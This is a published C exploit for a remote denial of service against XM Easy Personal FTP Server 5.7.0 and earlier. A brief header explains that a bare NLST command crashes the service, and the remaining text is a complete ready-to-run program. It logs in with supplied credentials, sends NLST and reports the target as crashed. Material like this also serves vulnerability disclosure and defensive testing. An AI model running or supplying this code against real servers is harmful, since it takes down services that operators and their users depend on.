XM Easy Personal FTP Server DoS

`/*  
XM Easy Personnal FTP Server <= 5.7.0  
Remote Denial of Service with Request (NLST)  
  
---------------------------------------------------------------------------------------------------------  
The vulnerability is caused due to an error in handling the NLST command. This can be exploited to crash   
the FTP service by sending the "NLST" with NULL argument.  
---------------------------------------------------------------------------------------------------------  
  
Author: Jonathan Salwan  
Mail : submit [AT] shell-storm.org  
Web : http://www.shell-storm.org  
*/  
  
#include "stdio.h"  
#include "unistd.h"  
#include "stdlib.h"  
#include "sys/types.h"  
#include "sys/socket.h"  
#include "netinet/in.h"  
  
int syntax(char *file)  
{  
fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n");  
fprintf(stderr,"=>Syntax : <%s> <ip> <port> <login> <passwd>\n",file);  
fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file);   
exit(0);  
}  
  
int main(int argc, char **argv)  
{  
if (argc < 4)  
syntax(argv[0]);  
  
int port = atoi(argv[2]);  
  
int mysocket;  
int mysocket2;  
int srv_connect;  
int sockaddr_long;  
  
  
struct sockaddr_in sockaddr_mysocket;  
sockaddr_long = sizeof(sockaddr_mysocket);  
sockaddr_mysocket.sin_family = AF_INET;  
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);  
sockaddr_mysocket.sin_port = htons(port);  
  
char request[50];  
char answer[200];  
  
fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);  
  
mysocket2 = socket(AF_INET, SOCK_STREAM, 0);  
if(mysocket2 == -1){  
fprintf(stderr,"[-]FAILED SOCKET\n");  
return 1;}  
  
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);  
  
if (srv_connect != -1)  
{   
  
memset(answer,0,200);  
recv(mysocket2,answer,sizeof(answer),0);  
  
sprintf(request, "USER %s\r\n", argv[3]);   
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{  
memset(answer,0,200);  
recv(mysocket2,answer,sizeof(answer),0);  
}  
  
sprintf(request, "PASS %s\r\n", argv[4]);  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{   
memset(answer,0,200);  
recv(mysocket2,answer,sizeof(answer),0);  
}  
sprintf(request, "NLST\r\n");  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
  
}  
else{  
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
  
  
shutdown(mysocket2,1);  
  
  
fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]);  
return 0;  
}  
  
`